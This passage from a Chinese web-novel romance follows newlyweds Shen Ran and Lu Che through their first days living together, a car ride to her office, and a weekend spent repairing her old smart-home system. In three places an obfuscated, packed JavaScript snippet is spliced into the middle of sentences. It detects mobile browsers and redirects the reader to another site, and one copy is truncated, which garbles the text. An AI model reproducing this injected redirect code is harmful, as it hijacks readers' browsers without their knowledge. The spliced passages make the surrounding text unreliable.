“现在先住主卧。”她很理性,“我这边工作时间不稳定,经常熬夜。你那边科研周期有自己的节奏,等具体磨合一段时间,再看要不要彻底分房,如果觉得这个公司公寓方便,我们出去租一个也可以。” 听起来很像一个试运行阶段的项目方案。 陆澈把自己的行李箱拖进次卧,顺手把衣服挂进柜子。 打开柜门,里面已经被阿姨擦得干干净净,留了一整排空位。 他不动声色地在最上层隔板上放了一个小东西。 一枚很普通的书签。是之前在剑桥的图书馆门口买的。 不贵,也不稀有。 只是他当时收起来,用了许多年,直到今天才出现在另一个城市的衣柜里。 沈然从门口看见了:“你还带了装饰品,这个书签我也有一枚。” “不是装饰品。”他关上柜门,“是提醒。” “提醒什么?” “提醒自己住进来了。” 沈然点头,很接受这个说法:“那很好,有利于你尽快建立新的环境记忆。” 情绪层面的东西,自动被她归类成“环境记忆”。 洗完澡出来已经十点多。 沈然擦着头发,从主卧出来时,看到次卧门半掩着,门缝里透出一条暖黄的灯光。 她本来想着敲一下门,确认他有没有什么生活习惯需要提前沟通。 比如对热水温度的容忍区间,或者夜里起夜的路线规划。毕竟这一间厕所还是有些不方便的。 手抬起来,又放下。 “算了。”她在心里自我评估,“第一晚不要信息轰炸。” 她转身回主卧,坐在床边,把手机拿出来。 夏栀发来一条新消息。 【蜡烛用了吗】 【用了】 【怎么样】 沈然看了看卷在柜子里的那段窗帘,又看了看餐边柜上那几根“幸存者”,如实回复: 【差点触发消防演习】 那边沉默了一分钟,回了一个长长的语音笑场。 最后落在一行文字上: 【没事说明你婚姻有火花】 沈然盯着“火花”两个字看了几秒,觉得不太吉利,默默把这条对话折叠了。 主卧的灯关掉,只留一盏小夜灯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889026|192149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床很大,她习惯性躺在靠外侧,留出另一半空着。她突然想到一件事,拿起手机,给陆澈发了一条消息。 【客厅插线板我已经检查过了没有过载风险】 想了想,又补了一条: 【窗帘明天换新的今天那块已经清理干净不用担心】 几秒钟后,手机震了一下。 【好】 又过了两秒。 【你那边有事叫我】 他的头像在对话框里安安静静地待着,看起来规矩得像一个被系统分配过来的“合约伴侣”。 沈然盯着屏幕看了一会儿,给自己下了一个结论: 同居第一晚,整体运行平稳。 除了窗帘那一段波动。 她放下手机,拉好被子,关掉小夜灯。 房间陷入黑暗。 次卧的灯还亮着。 陆澈坐在床边,指尖扣着那枚放进柜子里的书签,安静了几秒。 手机震了一下,是慕哲远的信息。 【兄弟,你今晚不是领证了吗?成功住进电鳗老巢了嘛?情况如何?有无婚后灾难现场?】 陆澈看了一眼,没有马上回复。 几秒后又跳出一条: 【你老婆不是传说中那个把人按进流程图里管理的沈总吗?】 【你平安吗?需要我叫救援队?】 陆澈揉了揉眉心,终于回了两个字。 【没事。】 慕哲远秒回: 【你用这两个字就说明有事。说。】 陆澈想了想,脑子里闪过刚才窗帘着火的画面。 火光蹿起来的瞬间,她站在一堆烛光中央,鲜有的失控场面,安静得让人说不出话。 他打字: 【她差点点着家。】 慕哲远: 【牛逼,你们婚后第一晚就触发消防程序?】 【我不该笑但我真的在笑】 【她没受伤吧?】 陆澈停了停,回: 【没。】 【你也被吓到了吧?】 陆澈没有回复。 慕哲远的下一句跟着跳出来: 【你今晚的语气不太对】 【你们住一个屋了吗?主动点啊】 陆澈低头,看着屏幕,沉默了几秒,最终只是敷衍地打出: 【睡了】 慕哲远:【……更不对劲了】 他关掉聊天框,把手机扣在床头。 房间重新安静下来,隔着墙,那个人的动静也已经停了。 他靠在枕头上,闭上眼,胸口却比平时跳得更明显。 过了会儿,陆澈在黑暗中又睁开眼,重新拿起手机。 点开另一个对话框。 【你明天要不要用车?】 几秒后,回复跳出来。 【不用。我明天全天在公司,没有外出安排。】 【那我开一天。】 【正好有点事要去办,我正好顺路送你。】 那边很快回了一个字。 【好。】 屏幕暗下去。 沈然把这条信息顺手归进“生活协同”一栏,标了个简单的备注。 资源共享,合理。 隔着一道墙,陆澈把手机放回床头。 原本已经排好的行程,在脑子里被他悄无声息地往后推了一格。 他闭上眼。 这一次,心跳终于慢了下来。 13. 文学城独家 沈然的闹钟是一个系统。 不是一个,是十个。 从早上七点半开始,每五分钟一次,循序渐进,音量递增,铃声从“轻柔提醒”过渡到“理性催促”,最后一档甚至带一点危机感。 这是她在海外多年形成的起床方案,用来对抗时差、会议和人类本能的惰性。 第一个响的时候,沈然没动。 第二个响,她翻了个身。 第三个响,她伸手拍了一下床头,却拍空了。 第四个闹钟开始播放她自己录的语音—— “沈然,现在起床,来得及。” 声音冷静、克制,像在叫醒另一个员工。 次卧里。 陆澈起身的时候,已经是第六个闹钟。 他一直起的很早,从不贪觉。少年时的生物钟延续至今。 多年一直保持五点半起床的习惯。只是住进这间公寓后,他发现隔音不行,再加上洗漱间挨着俩人卧室。他起床,势必会影响到沈然休息。 于是他很少见的,盯着天花板相看两厌到七点多钟,任由天光透着窗帘漫进屋内,直到沈然第一个闹钟响起。 但很明显,沈然的睡眠质量还不错。 他等了几个闹钟,旁边都没有动静。 第七个闹钟响起前,他起身,顺着声音走到主卧门口,抬手敲了两下。 没反应。 他看了眼表,闹钟第七次响起。 陆澈推门进去。 主卧窗帘拉得严实,昏暗中,他勉强看清床上的人裹在被子里,只露出一截头发,闹钟在床头柜上执着地震动,闪个不停。 陆澈站了一会儿,看着那几个已经暗下去的闹钟,嘴角微微翘了一下。伸手把第七个、第八个闹钟一并按掉。 世界安静下来。 床上的人动了动,却没醒。 他低头看了被子里的人一眼,轻声说了一句:“七点五十五。” 没有回应。 他没再叫,记住了第十个闹钟的时间,又把窗帘拉开一条细缝,露进一些光后才转身去洗漱。 等沈然真正醒过来,已经是八点零五。 她睁眼的第一反应不是慌,而是迅速调取记忆。 闹钟系统……中断了。 这个判断让她瞬间坐起身,没注意到四周细微的变化。 下一秒,她掀被下床,穿着睡衣,几乎是凭本能冲进洗手间。 门一推开。 热气迎面而来。 陆澈明显刚洗完澡,头发还在滴水,毛巾搭在肩上,衣服还没穿好。衬衫只扣了下面两颗扣子,锁骨到胸口一段线条毫无遮掩。 两人同时停住。 空气安静了一秒。 才意识到自己已经进入“婚后”同居生活的沈然,大脑非常职业且自然地工作了一下,快速给眼前的赏心悦目的景色进行了粗略评估。 身高比例:优秀。 肩背线条:合理。 肌肉状态:非刻意训练型,但稳定。 她在心里给了一个结论—— 88.5分。 水平优减。 陆澈想不到,对方此时在做什么,更想不到她脑子里的对比对象,早几年常看的一些欧美剧里的美男。 沈然点了下头,像什么都没发生一样,说:“早。” 陆澈:“……” 他原本准备好的“我忘了敲门”或者“你闹钟响太多了”,全都卡在了喉咙里。 沈然绕过他,站到洗手台前,挤牙膏,刷牙,动作流畅。镜子里,她的表情和平时在会议室里一模一样。冷静、清醒、毫无波动,偶尔扫一下四周情况,看上去似乎没什么特别的地方。 陆澈站在原地,看着她刷牙的侧脸,又低头看了一眼自己没扣好的衣服,拿起毛巾擦头发。 “你闹钟……”他开口。 “十个。”沈然含着牙刷含糊地说,“备用方案。” 她漱完口,抬头补了一句:“被你按掉了?” “嗯。” “谢谢。”她语气自然,“有效减少系统冗余。” 陆澈:“……” 沈然洗漱完,看了眼时间,语速明显快了一点:“不着急,你慢慢弄,我去准备点吃的。” 陆澈停了一秒,才应:“嗯,那麻烦你了。” 她转身向外走时,不经意地又看了他一眼。 窗外的光透进来,落在他身上那件还带着潮气的外套上,勾勒出紧实的轮廓。热气尚未散尽,上半段皮肤微微泛红。 两人的视线在空气里短暂相遇。 下一秒,她已经自然地关上门,仿佛刚才什么都没发生。 陆澈站在原地,顿了片刻,才慢吞吞地把那几颗早该系好的扣子扣上。 沈然的早餐一向简单,且固定。 奶茶,牛油果鸡蛋三明治。 今天她想起宋姨前几天买的火腿,难得多放了两片。 她平时会做两个,一个早餐,一个午餐,忙的时候就这样解决一天。 而今天,其中一个被顺理成章地放到了另一个盘子里。 资源利用率更高了。 她对这个结果很满意,尤其是在陆澈尝了一口,点头说“好吃”之后,又多满意了一点点。 “你以前就一直吃这个?” 送她去公司的路上,早间财经新闻播到尾声时,陆澈随口问了一句。 沈然正在副驾回邮件,先“嗯”了一声,隔了两秒才反应过来:“嗯?” “三明治。” “没怎么换过。”她想了想,又补一句,“不过你怎么知道?” “见过。”陆澈目视前方,“你以前偶尔会带到实验室。” 她愣了一下。 一些断断续续的画面慢慢浮出来—— 赶时间的清晨,咬着三明治冲进实验室,被他皱着眉拦下。 “你那时候还不让我在机房吃。”沈然放下手机,声音压低了些,带着点刻意,“是吧,陆组长。” “……嗯。”陆澈笑了下,“实验室规定,不是针对。” “我以为你早忘了。” 沈然没有接话,只是把视线移向窗外。 车速很稳,城市在早高峰中缓慢展开。 “那你不太喜欢中式早餐?”他问的时候,顺手动了下衣领。 “习惯了。”她说,“简单,方便。” 说完这句,她像是忽然想到什么,又转过来:“你是吃不惯吗?不行的话可以外卖。宋姨早上要照顾孩子,不能每天来。” “不是。”陆澈顿了下,看来她一眼,“我是想问,你能接受中式早餐吗?明天我来做。” “好。” 几乎没有犹豫。 对沈然来说,食物只要满足基础需求就足够。 在陆澈已经证明过厨艺之后,她很乐意把这部分的控制权交出去。 婚后第二天,一些看似无关紧要的事情,已经开始悄悄发生转移。 车在公司楼下停稳。 沈然解开安全带,顺手把包拎起来,下车前忽然停了一下,低头看了眼副驾那一侧。 “你中午怎么吃?”陆澈问。 她一愣,下意识回:“我没带午餐,一般在公司附近解决。” “食堂?” “我们没食堂,餐厅或便利店。”她说得很坦然。 陆澈点了下头,像是随口确认一件行程细节,又补一句:“那我中午来找你。” 沈然侧头看他:“你不是要去办事?” “嗯。”他说,“一会儿就好,回来顺路。” 这句话说得太自然了,自然到像“顺路”本来就写在计划里。 沈然想了两秒,没觉得哪里不对:“那行。” 她推门下车,走了两步,又折回来,弯腰,直接伸手在他领口前停了一下。 “别动。”她说。 陆澈下意识照做。 她指尖很快,把他刚才没整理好的领口抚平,顺手把那点歪掉的线条拉正。动作利落,干脆,没有多余情绪,像在给同事做最后一次出门检查。 “这样看着正式一点。”她说。 陆澈低头看了她一眼,忽然笑了下:“沈然,这是你的职场习惯?” “是。”她很理直气壮,“形象管理。” 她退开一步,冲他抬了下手:“我走了。” “嗯。”陆澈也抬手,“中午见。” 两人几乎同时说了句:“Bye” 沈然转身进楼。 高跟鞋声很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889027|192149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被大厅的环境音吞没。 陆澈还没来得及发动车,后视镜里,就看见不远处大厅玻璃门后站着一个男人,手里抱着文件,目光定定地落在这边。 像是刚好看见了什么,又来不及收回表情。 陆澈顺着那道视线,抬手理了理自己刚被她整理过的领口,指腹在那一小块布料上停了一瞬,才踩下油门。 车子驶离路边。 而大厅里。 助理陈林站在原地,脑子里已经自动回放了刚才的画面。 一大早,沈总被人送来。 是个男人。 开的还是沈总的车。 下车后沈总本来要走,又折回来。 靠得很近。 伸手,替对方整理领口。 距离近到,已经不太像“普通合作伙伴”。 而对方站在车里,居然真的一动不动地让她整理。 陈林:“……” 他站在原地,表情一点点凝重下来。 不是资本圈那几张熟脸。 看着也不像哪家基金的合伙人。 年纪似乎不大,气质偏干净。 太危险了。 几秒后,他低头掏出手机,在备忘录里郑重打下一行字: 【注意事项: 老板疑似进入恋爱状态,对方身份不明。 需持续观察,防范情感诈骗。】 上午的时间过得很快。 会议、批注、电话,一件一件接上来,像一条被拉直的时间线。沈然中途只起身去接了两次水,其余时间几乎没离开过工位。 陈林把需要她签的文件放到桌上时,顺带看了她一眼。沈然正在敲键盘,眉眼专注,神情和平时没有任何区别。 他没说什么,只把文件推到她手边:“沈总,这个要得急。” “好。”她应了一声,头也没抬。 一切都很正常。 正常到仿佛早上大厅门口那一幕,只是他一个人的错觉。 陈林回到工位,点开电脑,写到一半的备忘录停在那里,光标一闪一闪。他盯着那行字看了几秒,最后什么也没补充,直接关掉了文档。 算了。 他对自己说。 中午十二点二十。沈然刚合上电脑,手机亮了一下。 【我在你楼下。】 她回了个:【这么快?】 隔了几秒,他又发来一句—— 【可能要麻烦你一下。】 她多看了那行字一眼,起身下楼。 车停在路边,窗户半降。陆澈坐在驾驶位,衬衫袖口卷到手肘,看起来比早上随意不少。 她拉开副驾坐进去:“什么事?” “我不知道你们这附近吃什么。”他说,“你比较熟。” 沈然点头:“前面那家私房小炒,清淡,人少。” “好。” 车启动后,她低头回消息。路口红灯亮起,他减速停下,视线扫了一眼指示牌,手在方向盘上顿了顿。 “直行还是左转?”他问。 她抬头看了眼导航路况:“直行吧,快一点。” “嗯。” 他没有再确认,直接踩油门。 车厢里安静了一会儿,被一阵震动打扰。沈然看了眼来电,顿了两秒摁掉了来电。她突然问:“你现在,”她忽然说,“跟以前不太一样。” “哪不一样?” “以前你做事,很少问别人。” 陆澈看着前方,语气很淡:“现在有人比我更擅长。” 她没接话,只是把视线移回窗外。 车速很稳,阳光从前挡风玻璃落进来,在他手背上晃了一下。 到店门口,他先下车,绕到她这侧替她拉开车门。他注意到,沈然的包又在震动。 “公司找你?”他问。 “不是。”她答得很快,顺手摁掉电话,“私事。” 她站定,顺手理了下外套,转身往里走。 陆澈跟在她身后半步的位置,没再说话。 拉链合上时,屏幕在包内短暂亮了一下。 沈然没有注意到。 亮光停留了几秒,又暗下去。 那是一条未读短信。 【你最近怎么总不接电话?】 14. 《周末模式》 沈然生活独立很久了。 十二岁被送去英国寄宿女校开始,她就习惯自己处理一切。起床、洗漱、学习、行程,能拆分的就拆分,能流程化的就流程化。后来高中修了编程,接触代码之后,这种习惯甚至有了技术支撑。 她不太喜欢不可控。 在很长一段时间里,她都坚信一件事:只要系统足够完善,生活就不会出问题。 陆澈搬进来的这几天,她的生活被迫多出一个“人”,却没有想象中乱。 早上厨房多了一份碗筷,洗手台上多了一支牙膏,冰箱里多了一层整齐的保鲜盒。她的闹钟还会按时响,他却能在不打断她节奏的前提下把它们按掉一半。 她习惯把杯子放左边,他就把滤水壶也挪到左边。她开会时不看消息,他会把外卖电话接完再把取餐码放到她键盘旁边,像在给系统打补丁。 沈然对此没有发表意见。 最重要的是,他从不多问。 她那些零七八碎的信息,还有一些故意不接的电话,都被他当成背景噪声,存在就存在,不需要解释。 沈然很满意。 工作日结束,周六顺利到来。 她手上的案子推进得很顺,周五晚上没有加班。没有会议,没有行程,没有必须完成的节点。她醒得比平时晚,卧室里光线软,窗帘缝里漏进来一点亮。沈然翻了个身,准备再睡十分钟。 外面却传来一阵不合时宜的声音。 先是窗帘电机低低的嗡鸣,接着是音箱启动时那声过于正式的提示音,最后,一段旋律毫无预兆地铺开。 不是新闻,也不是白噪音。 是一段她高中时期循环过的动画原声——《SecretBase~君がくれたもの~》。 沈然睁着眼,在床上反应了两秒。 一度以为是幻听。 这不是主题曲,是一首冷门番的慢节奏插曲,旋律拖得很长,每一个音符都在试图让人回忆青春、反思人生,顺便哭一下。 十六七的年龄悲春伤秋,听着正好。 现在听起来,非常中二。 沈然坐起身,又听了两秒,确认不是做梦,直接从床上弹起来,推门出去。 客厅里光线被调成一种不太必要的暖黄,亮度低得像在省电。窗帘合到一半,阳光被切成一条一条落在地板上,像被人用尺子认真量过。而那首歌,还在放,悲得毫不掩饰。 陆澈站在餐桌旁,正低头研究她的控制面板,不紧不慢地点着。 他穿着居家T恤,袖口卷到手肘,头发随意,看起来很闲。厨房里飘来淡淡的饭香味儿。 沈然站在门口,语气不重,却明显不太高兴:“你在干什么。” 陆澈抬眼:“我点了周末模式。” 他把面板抬起一点,给她看。沈然的视线在音箱、窗帘和那段还没播完的插曲之间扫了一圈。 “谁让你点的。” “它自己弹出来的。”陆澈说,“写着周末建议。” 音箱像是等这句话很久了,立刻跟进一句:“已根据历史数据匹配放松音频。” 沈然走过去,抬手点了一下:“取消。” “正在重新评估。”音箱说。 “不用评估。” 音箱停顿了两秒,语气忽然变得很有原则:“检测到否认行为,已触发应急稳定逻辑。” 客厅灯光随之暗了一档。 沈然的动作明显顿了一下。她盯着音箱,声音压得很低,像在警告一个不太听话的甲方:“谁给你写的这套逻辑。” 陆澈偏头看了一眼,没忍住笑了一声:“它好像在跟你对着干。” 音箱毫不示弱:“建议停止当前刺激源。” 音乐被切断,下一秒,窗帘缓缓合上,只留下一道极细的缝。光被收走,客厅像被放进一个过度体贴的盒子里,连空气都变得小心翼翼。 沈然伸手去关。 “取消失败。”音箱说,“权限不足。” 她的眉心肉眼可见地跳了一下。 沈然没说话,把面板拿回来,手指点得飞快。界面上弹出一长串模块,她毫不犹豫地关掉了几个最旧的。 关到一半,音箱再次开口:“检测到用户心率变化。” “闭嘴。”她的声音冷下来。 “已记录指令。建议用户降低冲突语气。” 沈然抬眼看向陆澈,像是在确认一件事:“你能不能让它别说话。” 陆澈举了下手,语气很无辜:“我真的没动它。” 音箱继续输出:“建议用户停止外部干扰。” 沈然吸了口气,继续点。 然后,在一串模块名里,她看见了那一行—— 【应急稳定方案_v3.2(仅限本人)】。 她的手指停在屏幕上,只是一瞬,就窃走了。 陆澈也看见了,没有问。他往后退了一步,把位置让出来,动作很轻,像是本来就站在那儿,只是恰好不再靠近。 沈然点开权限,输入一串密钥。提示错误。她换了一串,依旧错误。 音箱这次显得异常体贴:“建议用户放弃抵抗,进入稳定流程。” 她没骂人。 只是站在那里,等着。像在等一个老旧程序自己跑完。 灯光随之暗到最低,不是全黑,是那种刚好能看清轮廓的应急亮度。 客厅一下子静了,明明是周末的白天,却被遮光窗帘的灯控几乎变成了黑夜。 “啪。” 灯被按亮。 不是系统,是墙上的实体开关。 沈然转头的时候,陆澈还站在她身侧,手停在开关上,没有立刻收回。亮度恢复得很快,她却慢了一拍才看清他的脸。 “这个比它快。”陆澈扫了眼沈然的表情,淡淡说。 手这才放下来。 沈然没说话,低头把音箱的电源直接拔了。插头离开插孔的声音很轻,却把所有提示音一并切断。 世界安静下来。 陆澈看着她,没有追问,也没有点评那首歌。她把控制面板放回桌上时,他才补了一句:“我刚才只是想看看周末模式,没想到你把智能模型嵌得这么深。” “以后别乱点。”她说。 “行。”陆澈点点头,很配合,“那你告诉我家里还有这种类似的,不能碰的禁区吗?我好注意一下。” “……”沈然想了下,还是认真回答,“没了,其实我也忘了这套智能系统了。” ”行,那这事就算过了?”陆澈笑了笑。 “嗯。” 陆澈顺手把窗帘拉起来,像是忽然想起什么,回头问:“那你要不要解释一下,为什么你这系统里有情绪分析?” 沈然的手指顿住。 她没立刻抬头,只看着屏幕上的参数。“无聊写着玩的。” 陆澈“嗯”了一声,走过去把平板拿过来,指尖在界面上滑了两下,没有刻意点开,只是顺着结构往下走。他看了一会儿,说:“逻辑挺老的,但不像商用模板,规则是你自己跑出来的。” “是有些年头了。”沈然给自己倒了杯柠檬水。 “阈值设得很刁钻。” “别评价我的代码。”沈然习惯性的丢出一句。 陆澈点头:“行。我不评价了。” 停了一拍,又补一句,“我想看看后台。可以吗?” 沈然抬眼看他。那眼神不是防备,也不是拒绝,更像是在掂量一句话落在哪儿。她没说别的,只转身往主卧走:“电脑在这。” 陆澈跟上来。 主卧灯亮着。沈然把平板随手丢到桌上,打开电脑,调出代码仓库,先改权限,再拉分支。她的动作很快,像是不给这个系统任何反应时间。 “别乱动。”她敲完一行,说。 “知道。”陆澈已经把椅子拉到她旁边,位置不远不近。 沈然继续写。 光标停住的时候,沈然顺手把界面往下滚了一点,刚好停在她要看的地方。沈然偏头看了他一眼,陆澈的视线还在屏幕上,也没觉得有什么不妥。 沈然觉得陆澈有些奇怪,特别是这次见面后,整个人说不上来,怼她的时候嘴也还是那么毒,但事情做的又有些太妥贴了。 不过之前在实验室,他似乎也这样配合她。 还挺高效的。 沈然没说什么,接着往下调参数,过了会儿鼠标拖到一半,陆澈已经把另一个窗口拉开,贴到右侧,留出并排的空间。没有提醒,也没有确认。 这种事,一两次也就习惯了,沈然顺着用上。 键盘声在房间里一下一下,很稳。不是赶工的那种节奏,是知道往哪走,不需要试探。 沈然停下来喝水。杯子刚离桌沿,陆澈顺手把它推过来,力道稍微多了一点,杯底轻轻碰到她的手腕。 “挡你了吗?”他说,眼睛没离开屏幕。 “没有。” 杯子没被挪开。 系统跑了一遍,报错列表缩短了一截。 “这块要重写。”沈然挠了挠头,她眼睛有些干,起身去拿眼药水。 “接口我来吧。”陆澈说着,已经打开自己的电脑,在开窗口。 沈然没客气,把阈值表丢过去:“这里我重算,其他的你来吧。” 俩人重新靠回去,肩并肩。距离刚好,能看到彼此的屏幕。 沈然伸手指一行代码,陆澈顺着补完;他改完接口,她立刻接上判断条件。 过了会儿,沈然看到了一个明显的错误,她伸手,没想陆澈的手已经点过去了。 指尖在屏幕上方碰了一下。 陆澈没收回去,只是把手停在那里,指着那行逻辑,打了个哈欠,“这需要回调一下。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902213|192149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈然顺着他指的方向往下改,手还悬着。 那点触碰很快被代码盖过去,却没有被撤回。 十点多,宋姨来了。 她知道沈然家的密码锁,溜了一圈客厅也没听见动静,走到主卧这儿顺着门缝在门口看了一眼,看见俩人肩并肩的靠在一起,床品有些凌乱。 宋姨愣了愣,立刻喜上眉梢。完全没注意到桌上文件摊着,代码在跑,看起来不像周末,更像在赶一个顺得不能再顺的项目。 “你俩一大早就在忙啊。” “嗯。”沈然应了一声,没抬头。 陆澈回头:“宋姨好。” “你们忙,我去做饭。”宋姨没多问,转身进厨房。过了一会儿,把水和水果放到桌边:“先喝点水,饭好了我叫你们。” 说着,宋姨从兜里摸出个皮筋儿,递给陆澈,“小陆啊,然然头发挡事儿,你给她弄一下的。” “嗯。”陆澈瞧了眼沈然,见她专注地敲代码,起身拦了一缕她的发丝,快速收到一手。 绑头发时指尖停在她后颈一秒。 动作利索,三两下就系好了。 等沈然反应过来的时候,头发已经绑好了。她没躲,敲键盘敲错一个字母又删掉。碍事的头帘也被捋到耳后。 她侧头看向站在一旁的陆澈,懵了一瞬,很快就当什么都没发生似的,淡淡地说了声“谢谢。” 陆澈放在身侧的手,不自觉地伸展了一下。 中午前,系统还在跑。 陆澈站起来活动了一下肩:“走吧,今天肯定弄不完。” 沈然看了眼时间,合上电脑,跟他一前一后出了卧室。 宋姨已经把饭菜做好,厨房也收拾妥帖,跟两人打了个招呼,就走了。 送走宋姨,屋子里一下子空下来。 厨房的灯还亮着,饭菜的热气没散,空气里是刚出锅的味道。 陆澈摆完碗筷走到餐桌旁,像是忽然想起什么,从外套口袋里抽出两张票,随手放在桌面上。 不是递给她,只是放着。 “对了,”他说得很随意,“朋友给的。今晚的。” 沈然低头扫了一眼。 《鬼灭之刃无尽城剧场版》。 她的动作明显顿了一下。 不是惊喜,也不是抗拒,更像是信息没对上。 “你还看这个?”她问。 语气不重,但停顿得有点刻意。 陆澈看了她一眼:“怎么了?” “没什么。”她很快接上,视线却没再落回那两张票上,“就是……没想到。” 陆澈笑了一下,幅度很小:“以前不看。” “那现在呢。” “最近看了点。”他说,“发现还行。” 这句话落得很轻,却在沈然脑子里拐了个弯。 她没再追问,也没评价,只是把筷子摆好,像是突然对这件事失去兴趣。 沈然低头喝了口汤,语气平得不能再平:“你一个人看?” “本来是。”陆澈说。 “哦。” 这个“哦”太干脆,像是在给某个假设盖章。 陆澈察觉到了,偏头看她:“你不想去?” “不是。”她回得很快,“我就是有点意外。” “意外什么?” 沈然没回答。 她没打算把“你不像会看这个”“你看这个让我确认你不直”这种话说出口。 那太私人,也太冒犯。 沈然只是又看了一眼那两张票,像在重新评估一件和自己无关、却被推到面前的东西。 陆澈把票拿起来,随意地夹在指间:“你要是不想去,我就送人,还来得及。” 语气是真心的,没有试探。 沈然停了两秒。 这两秒里,她脑子里闪过的是—— 他刚才帮她绑头发的动作很自然。 他坐在她旁边写代码的时候,从头到尾没有越界。 他看她的时候,视线落得很稳,没有任何“看懂你”的意味。 她忽然意识到,也许是她自己在对号入座。 “那就去吧。”她说。 语气轻得像是在改口,又像是给自己找了个台阶,“我正好还没看。” 陆澈看了她一眼。 这一眼停得比刚才久一点。 “行。”他说,没有追问,“那我不送人了。” 他把票放回桌上,推到她那一侧,却没说“给你”。 沈然伸手把票拿过来,指尖碰到纸面的那一下,很短。 “几点?” “七点半。” “那不赶。”她点头,把票放进抽屉,“下午还能继续码会儿。” 陆澈应了一声。 沈然低头夹菜,忽然觉得这顿饭的节奏,比刚才在主卧写代码时还要稳一点。